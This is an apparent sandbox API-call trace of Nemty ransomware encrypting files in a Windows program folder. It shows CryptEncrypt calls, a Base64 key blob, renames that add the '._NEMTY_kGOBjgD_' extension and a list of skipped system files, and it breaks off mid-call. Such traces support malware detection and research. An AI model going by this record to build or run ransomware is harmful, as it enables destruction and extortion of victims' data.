[0084.050] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0xe5beb530, dwHighDateTime=0x1d561e7)) [0084.051] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0xe5beb530, dwHighDateTime=0x1d561e7)) [0084.051] GetLastError () returned 0x5 [0084.051] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0084.051] GetLastError () returned 0x5 [0084.051] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0084.051] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0084.051] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0084.051] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e920*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e920*=0x100) returned 1 [0084.051] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e924*, pdwDataLen=0x653e910*=0x10, dwBufLen=0x100 | out: pbData=0x653e924*, pdwDataLen=0x653e910*=0x100) returned 1 [0084.052] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e91c | out: pszString=0x0, pcchString=0x653e91c) returned 1 [0084.052] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x63402c0 [0084.052] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x63402c0, pcchString=0x653e91c | out: pszString="tEHCc4LBeFq8XMvX6MIBcVGgNx8szh7Y0IowwXW/8g40XMxoQk68cQ1zAfG5FGGv\r\n+XojI1WYYidsdRqcKHOgYubXGGXJeDUzsZjPPsFfXf8ofit7M7TGgLJv3wCZEYHG\r\nHXzHfutWWxcOC/zdhJmtMH4W+QDa3nLgFwvWVxa3wAB65uM0PwNTkOrQ5TMMkEz0\r\nF2Kj1FpoThZ0oEG87kA0QAlSdqr1GIVgPBYMf0xMMPJgZlCdbWwYbFa2AZ3u14QU\r\nJweTdDI8YwXUzOfuK1t1dM3b2BzugWYuFJ4xEnm6VcidGPJiRbvVIM8Uv4sMe86g\r\nsBXwJXGtgxFN4uAHWPvAGA==\r\n", pcchString=0x653e91c) returned 1 [0084.052] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0084.052] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63402c0 | out: hHeap=0x4f90000) returned 1 [0084.052] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0084.052] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f93620 [0084.052] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x63402c0 [0084.052] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0084.052] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\ResizingPanels\\NavigationRight_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\resizingpanels\\navigationright_selectionsubpicture.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0084.053] GetFileSizeEx (in: hFile=0xffffffff, lpFileSize=0x653eb70 | out: lpFileSize=0x653eb70*=18150282790955940) returned 0 [0084.053] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x27100) returned 0x634ad48 [0084.053] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0084.053] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0084.062] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0084.062] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0084.062] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0084.062] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0084.072] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0084.072] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0084.072] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0084.072] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0084.081] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0084.081] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0084.081] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0084.081] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0084.091] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0084.091] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0084.091] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0084.091] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0084.100] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0084.100] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0084.100] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0084.100] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0084.109] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0084.109] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0084.109] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0084.110] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0084.119] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0084.119] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0084.119] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0084.119] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0084.128] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0084.128] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0084.128] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0084.128] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0084.138] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0084.138] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0084.138] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0084.138] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0084.147] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0084.147] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0084.147] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0084.148] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0084.153] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0084.154] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0084.154] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0084.154] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0084.160] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0084.160] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0084.160] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106163108, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0084.160] WriteFile (in: hFile=0xffffffff, lpBuffer=0x63402c0, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0084.160] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634ad48 | out: hHeap=0x4f90000) returned 1 [0084.160] CloseHandle (hObject=0xffffffff) returned 0 [0084.160] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xd0) returned 0x6340430 [0084.160] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0084.160] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0084.160] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed58, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0084.160] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0084.160] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0084.160] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xd0) returned 0x6340508 [0084.160] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x136) returned 0x6343fe8 [0084.160] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340508 | out: hHeap=0x4f90000) returned 1 [0084.161] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0084.161] MoveFileW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\ResizingPanels\\NavigationRight_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\resizingpanels\\navigationright_selectionsubpicture.png"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\ResizingPanels\\NavigationRight_SelectionSubpicture.png._NEMTY_kGOBjgD_" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\resizingpanels\\navigationright_selectionsubpicture.png._nemty_kgobjgd_")) returned 0 [0084.161] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6343fe8 | out: hHeap=0x4f90000) returned 1 [0084.161] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340430 | out: hHeap=0x4f90000) returned 1 [0084.161] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f93620 | out: hHeap=0x4f90000) returned 1 [0084.161] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63402c0 | out: hHeap=0x4f90000) returned 1 [0084.161] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0084.161] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0084.161] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0084.161] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63401e8 | out: hHeap=0x4f90000) returned 1 [0084.161] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345640 | out: hHeap=0x4f90000) returned 1 [0084.161] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0084.161] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7079e029, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x7079e029, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4efa391f, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x135b, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="NavigationUp_ButtonGraphic.png", cAlternateFileName="")) returned 1 [0084.161] lstrcmpiW (lpString1="NavigationUp_ButtonGraphic.png", lpString2=".") returned 1 [0084.161] lstrcmpiW (lpString1="NavigationUp_ButtonGraphic.png", lpString2="..") returned 1 [0084.161] lstrcmpiW (lpString1="NavigationUp_ButtonGraphic.png", lpString2="...") returned 1 [0084.161] lstrcmpiW (lpString1="NavigationUp_ButtonGraphic.png", lpString2="windows") returned -1 [0084.161] lstrcmpiW (lpString1="NavigationUp_ButtonGraphic.png", lpString2="$RECYCLE.BIN") returned 1 [0084.161] lstrcmpiW (lpString1="NavigationUp_ButtonGraphic.png", lpString2="rsa") returned -1 [0084.161] lstrcmpiW (lpString1="NavigationUp_ButtonGraphic.png", lpString2="NTDETECT.COM") returned -1 [0084.161] lstrcmpiW (lpString1="NavigationUp_ButtonGraphic.png", lpString2="ntldr") returned -1 [0084.161] lstrcmpiW (lpString1="NavigationUp_ButtonGraphic.png", lpString2="MSDOS.SYS") returned 1 [0084.161] lstrcmpiW (lpString1="NavigationUp_ButtonGraphic.png", lpString2="IO.SYS") returned 1 [0084.161] lstrcmpiW (lpString1="NavigationUp_ButtonGraphic.png", lpString2="boot.ini") returned 1 [0084.161] lstrcmpiW (lpString1="NavigationUp_ButtonGraphic.png", lpString2="boot.ini") returned 1 [0084.161] lstrcmpiW (lpString1="NavigationUp_ButtonGraphic.png", lpString2="AUTOEXEC.BAT") returned 1 [0084.161] lstrcmpiW (lpString1="NavigationUp_ButtonGraphic.png", lpString2="ntuser.dat") returned -1 [0084.161] lstrcmpiW (lpString1="NavigationUp_ButtonGraphic.png", lpString2="desktop.ini") returned 1 [0084.161] lstrcmpiW (lpString1="NavigationUp_ButtonGraphic.png", lpString2="CONFIG.SYS") returned 1 [0084.162] lstrcmpiW (lpString1="NavigationUp_ButtonGraphic.png", lpString2="RECYCLER") returned -1 [0084.162] lstrcmpiW (lpString1="NavigationUp_ButtonGraphic.png", lpString2="BOOTSECT.BAK") returned 1 [0084.162] lstrcmpiW (lpString1="NavigationUp_ButtonGraphic.png", lpString2="bootmgr") returned 1 [0084.162] lstrcmpiW (lpString1="NavigationUp_ButtonGraphic.png", lpString2="programdata") returned -1 [0084.162] lstrcmpiW (lpString1="NavigationUp_ButtonGraphic.png", lpString2="appdata") returned 1 [0084.162] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0084.162] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="NavigationUp_ButtonGraphic.png", cchWideChar=30, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0084.162] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0084.162] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="NavigationUp_ButtonGraphic.png", cchWideChar=30, lpMultiByteStr=0x4f9ecb8, cbMultiByte=30, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="NavigationUp_ButtonGraphic.png", lpUsedDefaultChar=0x0) returned 30 [0084.162] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0084.162] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e80 [0084.162] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="NavigationUp_ButtonGraphic.png", cchWideChar=30, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0084.162] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0084.162] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="NavigationUp_ButtonGraphic.png", cchWideChar=30, lpMultiByteStr=0x4f9ecb8, cbMultiByte=30, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="NavigationUp_ButtonGraphic.png", lpUsedDefaultChar=0x0) returned 30 [0084.162] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0084.162] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e80 | out: hHeap=0x4f90000) returned 1 [0084.162] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0084.162] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0084.162] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="NavigationUp_ButtonGraphic.png", cchWideChar=30, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0084.162] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0084.162] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="NavigationUp_ButtonGraphic.png", cchWideChar=30, lpMultiByteStr=0x4f9ecb8, cbMultiByte=30, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="NavigationUp_ButtonGraphic.png", lpUsedDefaultChar=0x0) returned 30 [0084.162] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0084.162] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0084.162] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="NavigationUp_ButtonGraphic.png", cchWideChar=30, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0084.162] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0084.162] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="NavigationUp_ButtonGraphic.png", cchWideChar=30, lpMultiByteStr=0x4f9ed08, cbMultiByte=30, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="NavigationUp_ButtonGraphic.png", lpUsedDefaultChar=0x0) returned 30 [0084.162] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0084.162] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x6340048 [0084.162] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340110 | out: hHeap=0x4f90000) returned 1 [0084.162] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x6340110 [0084.162] Sleep (dwMilliseconds=0x5) [0084.176] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0xe5d1c030, dwHighDateTime=0x1d561e7)) [0084.176] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0xe5d1c030, dwHighDateTime=0x1d561e7)) [0084.176] GetLastError () returned 0x5 [0084.176] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0084.176] GetLastError () returned 0x5 [0084.176] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0084.176] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0084.176] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed30 [0084.176] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e920*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e920*=0x100) returned 1 [0084.176] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e924*, pdwDataLen=0x653e910*=0x10, dwBufLen=0x100 | out: pbData=0x653e924*, pdwDataLen=0x653e910*=0x100) returned 1 [0084.177] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e91c | out: pszString=0x0, pcchString=0x653e91c) returned 1 [0084.177] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x63401d8 [0084.177] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x63401d8, pcchString=0x653e91c | out: 